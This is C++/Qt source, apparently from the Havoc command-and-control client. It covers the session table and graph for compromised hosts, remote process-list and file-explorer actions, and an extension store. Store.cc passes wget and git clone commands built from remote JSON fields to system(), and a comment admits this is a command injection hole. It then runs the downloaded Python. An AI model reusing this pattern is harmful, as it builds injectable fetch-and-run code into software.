( action->text().compare( "Mark as Alive" ) == 0 ) { Marked = "Alive"; Session.Marked = Marked; auto Icon = ( Session.Elevated.compare( "true" ) == 0 ) ? WinVersionIcon( Session.OS, true ) : WinVersionIcon( Session.OS, false ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) ); } } else if ( action->text().compare( "Mark as Dead" ) == 0 ) { Marked = "Dead"; Session.Marked = Marked; HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( ":/icons/DeadWhite" ) ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) ); } } Package->Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::MarkAs, .Info = { { "AgentID", AgentID.toStdString() }, { "Marked", Marked.toStdString() }, } }; HavocX::Connector->SendPackage( Package ); } } } else if ( action->text().compare( "Export" ) == 0 ) { Session.Export(); } else if ( action->text().compare( "Remove" ) == 0 ) { // TODO: Add a function to Session item that removes itself from the session table and graph. for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto Row = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( Row.compare( Session.Name ) == 0 ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->removeRow( i ); } } delete NodeEdge; delete this; } else if ( action->text().compare( "Thread" ) == 0 || action->text().compare( "Process" ) == 0 ) { Session.InteractedWidget->DemonCommands->Execute.Exit( Util::gen_random( 8 ).c_str(), action->text().toLower() ); } if ( Session.MagicValue == DemonMagicValue ) { if ( action->text().compare( "Process List" ) == 0 ) { auto TabName = QString( "[" + NodeID + "] Process List" ); if ( Session.ProcessList == nullptr ) { Session.ProcessList = new UserInterface::Widgets::ProcessList; Session.ProcessList->setupUi( new QWidget ); Session.ProcessList->Session = Session; Session.ProcessList->Teamserver = HavocX::Teamserver.Name; HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() ); } else { HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() ); } Session.InteractedWidget->DemonCommands->Execute.ProcList( Util::gen_random( 8 ).c_str(), true ); } else if ( action->text().compare( "File Explorer" ) == 0 ) { auto TabName = QString( "[" + NodeID + "] File Explorer" ); if ( Session.FileBrowser == nullptr ) { Session.FileBrowser = new FileBrowser; Session.FileBrowser->setupUi( new QWidget ); Session.FileBrowser->SessionID = Session.Name; HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), "" ); } else { HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), "" ); } Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), "dir;ui", "." ); } } } } } delete separator; delete separator2; delete separator3; delete separator4; } void Edge::adjust() { if ( ! source || ! dest ) return; auto line = QLineF( mapFromItem( source, 0, 0 ), mapFromItem( dest, 0, 0 ) ); auto length = line.length(); prepareGeometryChange(); if ( length > qreal( 20. ) ) { auto edgeSpace = 50; auto edgeOffset = QPointF( ( line.dx() * edgeSpace ) / length, ( line.dy() * edgeSpace ) / length ); sourcePoint = line.p1() + edgeOffset; destPoint = line.p2() - edgeOffset; } else { sourcePoint = destPoint = line.p1(); } } QRectF Edge::boundingRect() const { if ( ! source || ! dest ) return QRectF(); qreal penWidth = 1; qreal extra = ( penWidth + arrowSize ) / 2.0; return QRectF( sourcePoint, QSizeF( destPoint.x() - sourcePoint.x(), destPoint.y() - sourcePoint.y()) ) .normalized() .adjusted( -extra, -extra, extra, extra ); } void Edge::paint( QPainter* painter, const QStyleOptionGraphicsItem*, QWidget* ) { if ( ! source || ! dest ) return; auto line = QLineF( sourcePoint, destPoint ); if ( qFuzzyCompare( line.length(), qreal( 0. ) ) ) return; // Draw the arrows auto angle = std::atan2( -line.dy(), line.dx() ); auto sourceArrowP1 = sourcePoint + QPointF( sin( angle + M_PI / 3 ) * arrowSize, cos( angle + M_PI / 3 ) * arrowSize ); auto sourceArrowP2 = sourcePoint + QPointF( sin( angle + M_PI - M_PI / 3 ) * arrowSize, cos( angle + M_PI - M_PI / 3 ) * arrowSize ); auto destArrowP1 = destPoint + QPointF( sin( angle - M_PI / 3 ) * arrowSize, cos( angle - M_PI / 3 ) * arrowSize ); auto destArrowP2 = destPoint + QPointF( sin( angle - M_PI + M_PI / 3 ) * arrowSize, cos( angle - M_PI + M_PI / 3 ) * arrowSize ); // Draw the line itself painter->setPen( QPen( color, 2, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin ) ); painter->drawLine( line ); painter->setBrush( color ); if ( source->NodeType == NodeItemType::MainNode ) painter->drawPolygon( QPolygonF() << line.p1() << sourceArrowP1 << sourceArrowP2 ); else painter->drawPolygon( QPolygonF() << line.p2() << destArrowP1 << destArrowP2 ); } void Edge::Color( QColor color ) { this->color = color; } // ================================================== // =================== Node Class =================== // ================================================== Node::Node( NodeItemType NodeType, QString NodeLabel, GraphWidget* graphWidget ) : graph( graphWidget ) { this->NodeType = NodeType; this->NodeLabel = NodeLabel; if ( NodeType == NodeItemType::MainNode ) this->NodePainterSize = QRectF( -40, -50, 80, 80 ); else this->NodePainterSize = QRectF( -150, -150, 400, 230 ); setFlag( ItemIsMovable ); setFlag( ItemSendsGeometryChanges ); setCacheMode( DeviceCoordinateCache ); setZValue( -1 ); } void Node::appendChild( Node* child ) { Children.push_back(child); } void Node::removeChild( Node* child ) { auto it = std::find(Children.cbegin(), Children.cend(), child); if (it != Children.end()) Children.erase(it); } QRectF Node::boundingRect() const { return NodePainterSize; } void Node::addEdge( Edge* edge ) { edgeList << edge; edge->adjust(); } QVector Node::edges() const { return edgeList; } void Node::calculateForces() { auto xvel = qreal( 0 ); auto yvel = qreal( 0 ); if ( ! scene() || scene()->mouseGrabberItem() == this ) { newPos = pos(); return; } if ( qAbs( xvel ) < 0.1 && qAbs( yvel ) < 0.1 ) xvel = yvel = 0; auto sceneRect = scene()->sceneRect(); newPos = pos() + QPointF( xvel, yvel ); newPos.setX( qMin( qMax( newPos.x(), sceneRect.left() + 10 ), sceneRect.right() - 10 ) ); newPos.setY( qMin( qMax( newPos.y(), sceneRect.top() + 10 ), sceneRect.bottom() - 10 ) ); } void Node::mouseMoveEvent( QGraphicsSceneMouseEvent* event ) { QGraphicsItem::mouseMoveEvent( event ); } bool Node::advancePosition() { if ( newPos == pos() ) return false; setPos( newPos ); return true; } QPainterPath Node::shape() const { auto path = QPainterPath(); path.addEllipse( NodePainterSize ); return path; } void Node::paint( QPainter *painter, const QStyleOptionGraphicsItem* option, QWidget* ) { if ( NodeType == NodeItemType::Nothing ) { return; } else if ( NodeType == NodeItemType::MainNode ) { auto image1 = QImage( ":/images/SessionHavoc" ); painter->drawImage( NodePainterSize, image1 ); return; } else if ( NodeType == NodeItemType::Session ) { auto text = NodeLabel.split( " " ); auto image1 = ( Session.Elevated.compare( "true" ) == 0 ) ? WinVersionImage( Session.OS, true ) : WinVersionImage( Session.OS, false ); if ( Disconnected ) { image1 = GrayScale( image1 ); } else { for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Name.compare( NodeID ) == 0 ) { if ( session.Marked.compare( "Dead" ) == 0 ) image1 = GrayScale( image1 ); } } } painter->drawImage( QRectF( -40, -35, 90, 90 ), image1 ); painter->setPen( QPen( Qt::white ) ); painter->drawText( -90, 60, text[ 0 ] + " @ " + text[ 1 ] ); painter->drawText( -80, 75, text[ 2 ] ); return; } else return; } QVariant Node::itemChange( GraphicsItemChange change, const QVariant& value ) { switch ( change ) { case ItemPositionHasChanged: { for ( Edge* edge : qAsConst( edgeList ) ) edge->adjust(); graph->itemMoved(); break; } default: break; }; return QGraphicsItem::itemChange( change, value ); } void Node::mousePressEvent( QGraphicsSceneMouseEvent* event ) { update(); QGraphicsItem::mousePressEvent( event ); } void Node::mouseReleaseEvent( QGraphicsSceneMouseEvent* event ) { update(); QGraphicsItem::mouseReleaseEvent( event ); } ================================================ FILE: client/src/UserInterface/Widgets/SessionTable.cc ================================================ #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::UserInterface::Widgets; using namespace HavocNamespace::Util; void HavocNamespace::UserInterface::Widgets::SessionTable::setupUi(QWidget *Form, QString TeamserverName) { this->TeamserverName = TeamserverName; if ( Form->objectName().isEmpty() ) Form->setObjectName( QString::fromUtf8( "Form" ) ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); SessionTableWidget = new QTableWidget( Form ); if ( SessionTableWidget->columnCount() < 10 ) SessionTableWidget->setColumnCount( 10 ); SessionTableWidget->setStyleSheet( "QTableWidget { " " background-color: #282a36;" " color: #f8f8f2; " "}" ); TitleAgentID = new QTableWidgetItem( "ID" ); TitleExternal = new QTableWidgetItem( "External" ); TitleInternal = new QTableWidgetItem( "Internal" ); TitleUser = new QTableWidgetItem( "User" ); TitleComputer = new QTableWidgetItem( "Computer" ); TitleOperating = new QTableWidgetItem( "OS" ); TitleProcess = new QTableWidgetItem( "Process" ); TitleProcessId = new QTableWidgetItem( "PID" ); TitleLast = new QTableWidgetItem( "Last" ); TitleHealth = new QTableWidgetItem( "Health" ); SessionTableWidget->setHorizontalHeaderItem( 0, TitleAgentID ); SessionTableWidget->setHorizontalHeaderItem( 1, TitleExternal ); SessionTableWidget->setHorizontalHeaderItem( 2, TitleInternal ); SessionTableWidget->setHorizontalHeaderItem( 3, TitleUser ); SessionTableWidget->setHorizontalHeaderItem( 4, TitleComputer ); SessionTableWidget->setHorizontalHeaderItem( 5, TitleOperating ); SessionTableWidget->setHorizontalHeaderItem( 6, TitleProcess ); SessionTableWidget->setHorizontalHeaderItem( 7, TitleProcessId ); SessionTableWidget->setHorizontalHeaderItem( 8, TitleLast ); SessionTableWidget->setHorizontalHeaderItem( 9, TitleHealth ); SessionTableWidget->horizontalHeader()->resizeSection( 5, 150 ); SessionTableWidget->setEnabled( true ); SessionTableWidget->setShowGrid( false ); SessionTableWidget->setSortingEnabled( false ); SessionTableWidget->setWordWrap( true ); SessionTableWidget->setCornerButtonEnabled( true ); SessionTableWidget->horizontalHeader()->setVisible( true ); SessionTableWidget->setSelectionBehavior( QAbstractItemView::SelectRows ); SessionTableWidget->setContextMenuPolicy( Qt::CustomContextMenu ); SessionTableWidget->horizontalHeader()->setSectionResizeMode( QHeaderView::ResizeMode::Stretch ); SessionTableWidget->horizontalHeader()->setStretchLastSection( true ); SessionTableWidget->verticalHeader()->setVisible( false ); SessionTableWidget->setFocusPolicy( Qt::NoFocus ); SessionTableWidget->horizontalHeaderItem( 0 )->setSizeHint( QSize( 0, 0 ) ); connect( SessionTableWidget, &QTableWidget::itemSelectionChanged, this, &HavocNamespace::UserInterface::Widgets::SessionTable::updateRow ); gridLayout->addWidget( SessionTableWidget, 0, 0, 1, 1 ); QMetaObject::connectSlotsByName( Form ); } void HavocNamespace::UserInterface::Widgets::SessionTable::NewSessionItem( Util::SessionItem item ) const { /* check if the session already exists */ for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Name.compare( item.Name ) == 0 ) { return; } } HavocX::Teamserver.Sessions.push_back( item ); if ( SessionTableWidget->rowCount() < 1 ) { SessionTableWidget->setRowCount( 1 ); } else { SessionTableWidget->setRowCount( SessionTableWidget->rowCount() + 1 ); } auto isSortingEnabled = SessionTableWidget->isSortingEnabled(); SessionTableWidget->setSortingEnabled( false ); auto item_ID = new QTableWidgetItem(); auto item_External = new QTableWidgetItem(); auto item_Internal = new QTableWidgetItem(); auto item_User = new QTableWidgetItem(); auto item_Computer = new QTableWidgetItem(); auto item_OS = new QTableWidgetItem(); auto item_Process = new QTableWidgetItem(); auto item_ProcessID = new QTableWidgetItem(); auto item_Last = new QTableWidgetItem(); auto item_Health = new QTableWidgetItem(); auto Icon = QIcon(); if ( item.Elevated.compare( "true" ) == 0 ) { item_ID->setForeground( QColor( 255, 85, 85 ) ); Icon = WinVersionIcon( item.OS, true ); } else { Icon = WinVersionIcon( item.OS, false ); } item_ID->setText( item.Name ); item_ID->setIcon( Icon ); item_ID->setTextAlignment( Qt::AlignCenter ); item_ID->setFlags( item_ID->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount() - 1, 0, item_ID ); item_External->setText( item.External ); item_External->setTextAlignment( Qt::AlignCenter ); item_External->setFlags( item_External->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 1, item_External ); item_Internal->setText( item.Internal ); item_Internal->setTextAlignment( Qt::AlignCenter ); item_Internal->setFlags( item_Internal->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 2, item_Internal ); item_User->setText( item.User ); item_User->setTextAlignment( Qt::AlignCenter ); item_User->setFlags( item_User->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 3, item_User ); item_Computer->setText( item.Computer ); item_Computer->setTextAlignment( Qt::AlignCenter ); item_Computer->setFlags( item_Computer->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 4, item_Computer ); item_OS->setText( item.OS ); item_OS->setTextAlignment( Qt::AlignCenter ); item_OS->setFlags( item_OS->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 5, item_OS ); item_Process->setText( item.Process ); item_Process->setTextAlignment( Qt::AlignCenter ); item_Process->setFlags( item_Process->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 6, item_Process ); item_ProcessID->setText( item.PID ); item_ProcessID->setTextAlignment( Qt::AlignCenter ); item_ProcessID->setFlags( item_ProcessID->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 7, item_ProcessID ); item_Last->setText( item.Last ); item_Last->setTextAlignment( Qt::AlignCenter ); item_Last->setFlags( item_Last->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 8, item_Last ); item_Health->setText( item.Health ); item_Health->setTextAlignment( Qt::AlignCenter ); item_Health->setFlags( item_Health->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 9, item_Health ); SessionTableWidget->setSortingEnabled( isSortingEnabled ); for ( auto & Session : HavocX::Teamserver.Sessions ) { // TODO: make that on Session receive if ( Session.InteractedWidget == nullptr ) { auto AgentMessageInfo = QString(); auto prev_cursor = QTextCursor(); auto PivotStream = QString(); Session.InteractedWidget = new UserInterface::Widgets::DemonInteracted; Session.InteractedWidget->SessionInfo = Session; Session.InteractedWidget->TeamserverName = this->TeamserverName; Session.InteractedWidget->setupUi( new QWidget ); if ( item.PivotParent.size() > 0 ) { PivotStream = "[Pivot: " + item.PivotParent + Util::ColorText::Cyan( "-<>-<>-" ) + item.Name + "]"; HavocX::Teamserver.TabSession->SessionGraphWidget->GraphPivotNodeAdd( item.PivotParent, item ); } else { PivotStream = "[Pivot: "+ Util::ColorText::Cyan( "Direct" ) +"]"; HavocX::Teamserver.TabSession->SessionGraphWidget->GraphNodeAdd( item ); } AgentMessageInfo = Util::ColorText::Comment( item.First ) + " Agent " + Util::ColorText::Red( item.Name.toUpper() ) + " authenticated as "+ Util::ColorText::Purple( item.Computer + "\\" + item.User ) + " :: [Internal: " + Util::ColorText::Cyan( item.Internal ) + "] [Process: " + Util::ColorText::Red( item.Process + "\\" + item.PID ) + "] [Arch: " + Util::ColorText::Pink( item.Arch ) + "] " + PivotStream; prev_cursor = Session.InteractedWidget->Console->textCursor(); Session.InteractedWidget->Console->moveCursor( QTextCursor::End ); Session.InteractedWidget->Console->insertHtml( AgentMessageInfo ); Session.InteractedWidget->Console->setTextCursor( prev_cursor ); } } } void UserInterface::Widgets::SessionTable::ChangeSessionValue( QString DemonID, int key, QString value ) { for ( int i = 0; i < SessionTableWidget->rowCount(); i++ ) { if ( SessionTableWidget->item( i, 0 )->text() == DemonID ) { SessionTableWidget->item( i, key )->setText( value ); } } } void HavocNamespace::UserInterface::Widgets::SessionTable::updateRow() { bool selected = false; for ( int count = 0; count < SessionTableWidget->rowCount(); count++ ) if ( SessionTableWidget->item( count, 0 )->isSelected() ) selected = true; if ( ! selected ) SessionTableWidget->clearFocus(); } ================================================ FILE: client/src/UserInterface/Widgets/Store.cc ================================================ #include #include #include #include #include #include void Store::setupUi( QWidget* Store) { StoreWidget = Store; QUrl url("https://raw.githubusercontent.com/p4p1/havoc-store/main/public/havoc-modules.json"); QNetworkAccessManager* manager = new QNetworkAccessManager(); QNetworkReply *reply = manager->get(QNetworkRequest(url)); if ( Store->objectName().isEmpty() ) Store->setObjectName( QString::fromUtf8( "Extentions" ) ); horizontalLayout = new QHBoxLayout( Store ); horizontalLayout->setObjectName( QString::fromUtf8( "horizontalLayout" ) ); StoreSplitter = new QSplitter(); StoreLogger = new QTextEdit( /* PageLogger */ ); StoreLogger->setObjectName( QString::fromUtf8( "StoreLogger" ) ); StoreLogger->setReadOnly( true ); panelStore = new QWidget(); root_panelStore = new QWidget(); panelLayout = new QVBoxLayout(root_panelStore); panelScroll = new QScrollArea(panelStore); panelScroll->setWidgetResizable(true); panelScroll->setWidget(root_panelStore); panelScroll->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); root_panelLayout = new QVBoxLayout(panelStore); root_panelLayout->addWidget(panelScroll); headerLabelTitle = new QLabel( "

Havoc Extentions!

", panelStore ); headerLabelTitle->setWordWrap(true); panelLayout->addWidget(headerLabelTitle); panelLabelAuthor = new QLabel( "The author", panelStore ); panelLabelAuthor->setWordWrap(true); panelLayout->addWidget(panelLabelAuthor); panelLabelDescription = new QLabel( "This tab is to install extentions inside of havoc!", panelStore ); panelLabelDescription->setWordWrap(true); panelLayout->addWidget(panelLabelDescription); installButton = new QPushButton("Install"); installButton->setEnabled(false); panelLayout->addWidget(installButton); StoreTable = new QTableWidget(); StoreTable->setColumnCount(2); labelTitle = new QTableWidgetItem( "Title" ); labelAuthor = new QTableWidgetItem( "Author" ); StoreTable->setHorizontalHeaderItem( 0, labelTitle ); StoreTable->setHorizontalHeaderItem( 1, labelAuthor ); StoreTable->setEnabled( true ); StoreTable->setShowGrid( false ); StoreTable->setSortingEnabled( false ); StoreTable->setWordWrap( true ); StoreTable->setCornerButtonEnabled( true ); StoreTable->horizontalHeader()->setVisible( true ); StoreTable->setSelectionBehavior( QAbstractItemView::SelectRows ); StoreTable->setContextMenuPolicy( Qt::CustomContextMenu ); StoreTable->horizontalHeader()->setSectionResizeMode( QHeaderView::ResizeMode::Stretch ); StoreTable->horizontalHeader()->setStretchLastSection( true ); StoreTable->setEditTriggers(QAbstractItemView::NoEditTriggers); StoreTable->verticalHeader()->setVisible( false ); StoreTable->setFocusPolicy( Qt::NoFocus ); QObject::connect(reply, &QNetworkReply::finished, [reply, this]() { if (reply->error() == QNetworkReply::NoError) { QByteArray data = reply->readAll(); QJsonDocument jsonDoc = QJsonDocument::fromJson(data); if (!jsonDoc.isNull() && jsonDoc.isArray()) { this->dataStore = new QJsonArray(jsonDoc.array()); QJsonArray jsonArray = jsonDoc.array(); int row_num = 0; this->StoreTable->setRowCount(jsonArray.size()); for (const QJsonValue &value : jsonArray) { if (value.isObject()) { QJsonObject jsonObj = value.toObject(); QString title = jsonObj.value("title").toString(); QString author = jsonObj.value("author").toString(); QTableWidgetItem *title_widget= new QTableWidgetItem(title); QTableWidgetItem *author_widget = new QTableWidgetItem(author); this->StoreTable->setItem(row_num, 0, title_widget); this->StoreTable->setItem(row_num, 1, author_widget); row_num++; } } } else { spdlog::error( "[STORE] Failed to parse the JSON data" ); } } else { spdlog::error( "[STORE] Failed to get json from web" ); } reply->deleteLater(); }); QObject::connect(StoreTable, &QTableWidget::itemSelectionChanged, [this]() { QList selectedItems = this->StoreTable->selectedItems(); if (!selectedItems.isEmpty()) { displayData(selectedItems.first()->row()); } }); QObject::connect(installButton, &QPushButton::clicked, [this]() { QList selectedItems = this->StoreTable->selectedItems(); if (!selectedItems.isEmpty()) { installScript(selectedItems.first()->row()); } }); StoreSplitter->addWidget( StoreTable ); StoreSplitter->addWidget( panelStore ); horizontalLayout->addWidget( StoreSplitter ); retranslateUi( ); QMetaObject::connectSlotsByName( StoreWidget ); } void Store::displayData(int position) { QJsonObject jsonObj = dataStore->at(position).toObject(); QString title = jsonObj.value("title").toString(); QString description = jsonObj.value("description").toString(); QString author = jsonObj.value("author").toString(); headerLabelTitle->setText(QString("

%1

").arg(title)); panelLabelDescription->setText(description); panelLabelAuthor->setText(QString("%1").arg(author)); installButton->setEnabled(true); } bool Store::AddScript( QString Path ) { auto Script = FileRead( Path ); auto path = Path.toStdString(); int Return = 0; HavocX::Teamserver.LoadingScript = Path.toStdString(); if ( Script != nullptr ) { if ( ! Script.isEmpty() ) { Return = PyRun_SimpleStringFlags( Script.toStdString().c_str(), NULL ); if ( Return == -1 ) { spdlog::error( "Failed to run script: {}", path ); } else { return true; } } else { spdlog::error( "Script path not found: {}", path ); } } else { spdlog::error( "Failed to load script: {}", path ); } HavocX::Teamserver.LoadingScript = ""; return false; } void Store::installScript(int position) { QString gistUrl = "https://gist.githubusercontent.com/%1/%2/raw/%3"; QJsonObject jsonObj = dataStore->at(position).toObject(); QString url = jsonObj.value("link").toString(); QString entrypoint = jsonObj.value("entrypoint").toString(); QString author = jsonObj.value("author").toString(); QString currentPath = QDir::currentPath(); QDir extension_path(QString("./data/extensions")); if (!extension_path.exists()) { QDir tmp_dir(currentPath); tmp_dir.mkpath(QString("./data/extensions")); } int is_gist = url.indexOf(QString("gist.github.com")); if (is_gist != -1) { QStringList urlParts = url.split('/'); QString github_hash = urlParts.last(); QString downloadURL = gistUrl.arg(author, github_hash, entrypoint); QString pathScript = QString("%1/data/extensions/%2").arg(currentPath).arg(entrypoint); QString command = QString("wget %1 -O %2").arg(downloadURL).arg(pathScript); // Yes there is a command injection vulnerability here. Now this is not the best // but since the front-end will be fully redone I am not putting to much effort // here it's just to code the base concept nothing else :) system(command.toUtf8().constData()); if ( AddScript( pathScript ) ) { if ( ! HavocX::Teamserver.TabSession->dbManager->CheckScript(pathScript) ) HavocX::Teamserver.TabSession->dbManager->AddScript(pathScript); } } else { // Must be a repo then and not a gist ^^ now we can be happy for that entrypoint var QStringList urlParts = url.split('/'); QString repo_name = urlParts.last(); QString pathScript = QString("%1/data/extensions/%2/%3").arg(currentPath).arg(repo_name).arg(entrypoint); QString command = QString("git clone --recurse-submodules --remote-submodules %1 %2/data/extensions/%3").arg(url).arg(currentPath).arg(repo_name); system(command.toUtf8().constData()); if ( AddScript( pathScript ) ) { if ( ! HavocX::Teamserver.TabSession->dbManager->CheckScript(pathScript) ) HavocX::Teamserver.TabSession->dbManager->AddScript(pathScript); } } } void Store::retranslateUi() { StoreWidget->setWindowTitle( QCoreApplication::translate( "Extentions", "Extentions", nullptr ) ); } ================================================ FILE: client/src/UserInterface/Widgets/Teamserver.cc ================================================ #include #include void Teamserver::setupUi( QWidget* Teamserver ) { TeamserverWidget = Teamserver; if ( Teamserver->objectName().isEmpty() ) Teamserver->setObjectName( QString::fromUtf8( "Teamserver" ) ); gridLayout = new QGridLayout( Teamserver ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); TeamserverLogger = new QTextEdit( /* PageLogger */ ); TeamserverLogger->setObjectName( QString::fromUtf8( "TeamserverLogger" ) ); TeamserverLogger->setReadOnly( true ); gridLayout->addWidget( TeamserverLogger, 0, 0, 0, 0 ); retranslateUi( ); QMetaObject::connectSlotsByName( TeamserverWidget ); } void Teamserver::retranslateUi() { TeamserverWidget->setWindowTitle( QCoreApplication::translate( "Teamserver", "Teamserver", nullptr ) ); } void Teamserver::AddLoggerText( const QString& Text ) const { TeamserverLogger->append( Text ); TeamserverLogger->verticalScrollBar()->setValue( TeamserverLogger->verticalScrollBar()->maximum() ); } ================================================ FILE: client/src/UserInterface/Widgets/TeamserverTabSession.cc ================================================ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace UserInterface::Widgets; void HavocNamespace::UserInterface::Widgets::TeamserverTabSession::setupUi( QWidget* Page, QString TeamserverName ) { TeamserverName = TeamserverName; PageWidget = Page; SmallAppWidgets = new SmallAppWidgets_t; SmallAppWidgets->EventViewer = new UserInterface::SmallWidgets::EventViewer; SmallAppWidgets->EventViewer->setupUi( new QWidget ); SmallAppWidgets->EventViewer->AppendText( CurrentDateTime(), "Havoc Framework [Version: " + QString( Version.c_str() ) + "] [CodeName: " + QString( CodeName.c_str() ) + "]" ); auto MenuStyle = QString( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); gridLayout = new QGridLayout(PageWidget); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); gridLayout->setContentsMargins(0, 0, 0, 0); splitter_TopBot = new QSplitter(PageWidget); splitter_TopBot->setOrientation(Qt::Vertical); splitter_TopBot->setContentsMargins(0, 0, 0, 0); layoutWidget = new QWidget( splitter_TopBot ); verticalLayout = new QVBoxLayout( layoutWidget ); verticalLayout->setContentsMargins( 3, 3, 3, 3 ); MainViewWidget = new QStackedWidget( ); SessionTablePage = new QWidget( ); gridLayout_2 = new QGridLayout( SessionTablePage ); gridLayout_2->setObjectName( QString::fromUtf8( "gridLayout_2" ) ); gridLayout_2->setContentsMargins( 0, 0, 0, 0 ); splitter_SessionAndTabs = new QSplitter( layoutWidget ); splitter_SessionAndTabs->setOrientation( Qt::Horizontal ); SessionTableWidget = new HavocNamespace::UserInterface::Widgets::SessionTable; SessionTableWidget->setupUi( new QTableWidget(), TeamserverName ); SessionTableWidget->setFocusPolicy( Qt::NoFocus ); SessionGraphWidget = new GraphWidget( MainViewWidget ); // Session Table MainViewWidget->addWidget( SessionTableWidget->SessionTableWidget ); MainViewWidget->addWidget( SessionGraphWidget ); MainViewWidget->setCurrentIndex( 0 ); splitter_SessionAndTabs->addWidget( MainViewWidget ); tabWidgetSmall = new QTabWidget( splitter_SessionAndTabs ); tabWidgetSmall->setObjectName( QString::fromUtf8( "tabWidgetSmall" ) ); tabWidgetSmall->setMovable( false ); splitter_SessionAndTabs->addWidget( tabWidgetSmall ); gridLayout_2->addWidget( splitter_SessionAndTabs, 0, 0, 1, 1 ); verticalLayout->addWidget( SessionTablePage ); splitter_TopBot->addWidget( layoutWidget ); tabWidget = new QTabWidget( splitter_TopBot ); tabWidget->setObjectName( QString::fromUtf8( "tabWidget" ) ); splitter_TopBot->addWidget( tabWidget ); gridLayout->addWidget(splitter_TopBot, 0, 0, 1, 1); TeamserverChat = new UserInterface::Widgets::Chat; TeamserverChat->TeamserverName = HavocX::Teamserver.Name; TeamserverChat->setupUi( new QWidget ); NewBottomTab( TeamserverChat->ChatWidget, "Teamserver Chat", ":/icons/users" ); tabWidget->setCurrentIndex( 0 ); tabWidget->setMovable( false ); LootWidget = new ::LootWidget; NewWidgetTab( SmallAppWidgets->EventViewer->EventViewer, "Event Viewer" ); connect( SessionTableWidget->SessionTableWidget, &QTableWidget::customContextMenuRequested, this, &TeamserverTabSession::handleDemonContextMenu ); connect( tabWidget->tabBar(), &QTabBar::tabCloseRequested, this, [&]( int index ) { if ( index == -1 ) return; tabWidget->removeTab( index ); if ( tabWidget->count() == 0 ) { splitter_TopBot->setSizes( QList() << 0 ); splitter_TopBot->setStyleSheet( "QSplitter::handle { image: url(images/notExists.png); }" ); } else if ( tabWidget->count() == 1 ) { tabWidget->setMovable( false ); } } ); connect( tabWidgetSmall->tabBar(), &QTabBar::tabCloseRequested, this, &TeamserverTabSession::removeTabSmall ); connect( SessionTableWidget->SessionTableWidget, &QTableWidget::doubleClicked, this, [&]( const QModelIndex &index ) { auto SessionID = SessionTableWidget->SessionTableWidget->item( index.row(), 0 )->text(); for ( const auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( SessionID ) == 0 ) { auto tabName = "[" + Session.Name + "] " + Session.User + "/" + Session.Computer; for ( int i = 0 ; i < HavocX::Teamserver.TabSession->tabWidget->count(); i++ ) { if ( HavocX::Teamserver.TabSession->tabWidget->tabText( i ) == tabName ) { HavocX::Teamserver.TabSession->tabWidget->setCurrentIndex( i ); return; } } HavocX::Teamserver.TabSession->NewBottomTab( Session.InteractedWidget->DemonInteractedWidget, tabName.toStdString() ); Session.InteractedWidget->lineEdit->setFocus(); } } } ); } void UserInterface::Widgets::TeamserverTabSession::handleDemonContextMenu( const QPoint &pos ) { if ( ! SessionTableWidget->SessionTableWidget->itemAt( pos ) ) { return; } auto MenuStyle = QString( "QMenu {" " background-color: 